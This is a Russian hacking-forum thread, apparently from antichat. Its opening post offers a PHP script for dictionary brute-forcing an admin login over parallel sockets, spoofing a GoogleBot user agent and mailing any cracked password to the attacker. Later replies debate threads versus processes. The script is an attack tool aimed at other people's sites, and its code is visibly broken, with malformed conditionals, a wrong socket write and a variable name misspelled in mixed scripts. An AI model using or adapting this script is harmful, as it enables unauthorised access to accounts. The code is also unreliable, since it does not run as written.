PDA

Просмотр полной версии : Php и многопоточность


EXSlim
17.12.2006, 18:47
Интро
Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.

О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html


In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - "!"
<?php

//Маскимальное число потоков
$threads = 20;

//хост
$host = "http://somehost.net";

//порт
$port = 80;

//файл для авторизации
$auth_file = "somefile.php";

//имя которое будем брутить
$brute_username = "admin";

//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";

//Максимальная длина пароля из файла
$socket_send_limit = 32;

//Стоп условие.
$stop_condition = "Welcome to the admin panel";

//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";




Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.

#####################
# Начинаем работать
#

//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";

$f = fopen("$dict","r");

while (!feof($f)) {

//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);

//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {

//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";

$query .="POST ".$full_path." HTTP/1.1\r\n";

$query .="Accept: */* \n";

$query .="Host: ".$host."\n";

$query .="User-Agent: GoogleBot 2.1\n"; // =)))))

$query .="\nlogin=".$brute_username."&password=".$сurrent_pass."\n";


//Открываем сокет
$s = fsockopen($host,$port);

//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);

//Устанавливаем таймаут
stream_set_timeout($s,600);

//Пишем в сокет
fputs($s,strlen($query));

//Запоминаем сокет в масив
$sock[$current_pass] = $s;


//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");

//Считываем ответ сервера
$get = fgets($s,1024);


//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {

mail("somemail@mail.ru","brute",$current_pass);

fclose($s);

fclose($f);

die("Done!");

}

//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);

}


//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);

}
?>

Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.

Zadoxlik
17.12.2006, 18:51
Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Как у меня тут например:
http://zadoxlik.info/portscan

А вообще слишком громко назвал тему чтобы написатьв ней только такую какашку

EXSlim
17.12.2006, 19:21
Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Всё нормально работает, причём намного быстрее. А насчёт "многопоточности" я и написал в интро и аутро. Если ты читал...

Насчёт названия топика - ыыы блин, ты прав, немного не так

Zadoxlik
17.12.2006, 19:35
У тебя блокируется выполнение в момент подкючения к хосту

EXSlim
17.12.2006, 20:44
Собственно ... уже давно пользуюсь более функциональным отлаженым скриптом на основе этого. Этот же скрипт я писал по-быстрому, даже не проверил на ошибки, ведь он работает у меня более пол года. Целью было показать идею, и возможно сам скипт не отлажен.

Gh0s7
17.12.2006, 20:45
Гг. Серия статей про треады?
Остались треды на питоне :)

Morph
17.12.2006, 21:35
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)

KSURi
17.12.2006, 23:39
Был уже миллион обсуждений этой темы. Доходило до холиваров Perl vs PHP.
Но суть не в этом...
Скрипт дает прирост скорости? - Да. Значит все нормально.
Не стоит ругаться на его трактовку термина "многопточность". Главное что прирост есть, а термины это ***##

EXSlim
17.12.2006, 23:50
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)
c названием да, с потоками - нет (+pcntl)

Zadoxlik
18.12.2006, 00:23
Это не потоки

nc.STRIEM
18.12.2006, 01:10
Первый раз слышу про многопоточность в Php!!!!
чесн говоря в твоем примере ее не увидел! может ее просто не существует?? :)

EXSlim
18.12.2006, 01:37
Это не потоки

for ($i=1; $i<7; $i++){
$pid[$i] = pcntl_fork();
if ($pid[$i] != -1) {do_some_job();}
}

а как тогда это обозвать?

ps. я отлично понимаю что это создает 7 дочерних процесов отличающихся pid`ом но всё же....

KPOT_f!nd
18.12.2006, 02:34
что-то не вериться мне! В первый слышу и читаю про многопоточность в php! Знаю что над этим сейчас работают работники php!

Xex
18.12.2006, 07:37
for ($i=1; $i<7; $i++){
$pid[$i] = pcntl_fork();
if ($pid[$i] != -1) {do_some_job();}
}

а как тогда это обозвать?

ps. я отлично понимаю что это создает 7 дочерних процесов отличающихся pid`ом но всё же....
нее, ты нешаришь. Ты вообще понимаешь чем отличается поток от процесса?
ВЫДЕРЖКА из статьи:
<<<Подводя черту, закрепим: главное отличие процессов от потоков, состоит в том, что процессы изолированы друг от друга, так используют разные адресные пространства, а потоки, могут использовать одно и то же пространство (внутри процесса) при этом, выполняя действия не мешаяя друг другу. В этом и заключается удобство многопоточного программинга: разбив приложение на несколько последовательных потоков, мы можем увеличить производительность, упростить пользовательский интерфейс и добиться масштабируемости (если Ваше приложение установят на многопроцессорную систему, выполняя потоки на разных процах, ваша прога будет работать с аховой скоростью=)).
>>>

вот линк, если не понял:
_http://seregaborzov.wordpress.com/2006/11/08/chem_process_otlichaetca_ot_potoka/

fucker"ok
18.12.2006, 09:48
Эх. Я тоже потоки с форками путал ещё совсем недавно :)
А так ли она нужна в пхп эта многопоточность, ведь если учесть что язык орентирован на создание веб интерфесов...
Вот её только для брутов и добавят, чтобы за 5 минут брут никадать все могли :)

blackybr
18.12.2006, 10:00
2Gh0s7 на питоне это делается практически как на перле )
threading+Queue+shed+распаралериван е потоков с помощью gil'а )

EXSlim
18.12.2006, 12:06
вот линк, если не понял:
_http://seregaborzov.wordpress.com/2006/11/08/chem_process_otlichaetca_ot_potoka/

ты хоть сам читал это? Хех, 4 абзац сверху

Речь идёт о статье. В примере, на самом деле 1 процесс и до 20 паралельно работающих соединений, выполяняющих одну работу.

Xex
19.12.2006, 01:59
найди официальный мануал, и прочти чем отличается поток от процесса,
а линк я те дал, чтоб ты начал искать, и высказываение там верное.

x-treem
06.03.2007, 19:39
А вот что я подумал. Если посудить по большему счёту... Многопоточность, это когда работают одновременно несколько скриптов(это конечно грубое сравнение, но всё же).
Значит для некоторых ситуаций может подойти такой расклад.

Скрипт будет автоматом генерить фрэймы, каждый из которых запускает скрипт с определёнными параметрами.
Один - script.php?param1=0&param2=10
Второй - script.php?param1=11&param2=20
Третий - script.php?param1=21&param2=30
и т.д.
то есть одно окно запускает несколько скриптов одновременно.
Конечно же данный способ не подойдёт для консольного выполнения.

Вот вообщем моя мысля. Кто что на этот счёт думает?

Извините если об это уже где нить писалось

gormet
06.03.2007, 20:13
В Php6 будет реализация многопоточности, а то что ты написал, полный бред, ну может в некоторых случаях и это сойдет, а зачем забивать микроскопом гвозди, если есть специальные скриптовые языки подерживающие многопоточность!

x-treem
06.03.2007, 20:16
В Php6 будет реализация многопоточности, а то что ты написал, полный бред, ну может в некоторых случаях и это сойдет, а зачем забивать микроскопом гвозди, если есть специальные скриптовые языки подерживающие многопоточность!


Мля, я и не открывал эту тему. Просто изложил свою мысль по этому поводу. Это не значит что пользуюсь этим.

Talisman
06.03.2007, 20:29
это НЕ многопоточность... это многопроцессность.
многопоточность - как было сказано выше - когда 1 поток имеет доступ к памяти другого. процессы же, что ты и делаешь, имеют раздельную память, что иногда противопоказано.
ЗЫ зря тему поднимал...
а твой метод давно юзается. имхо это может делать и 1 скрипт, без браузера)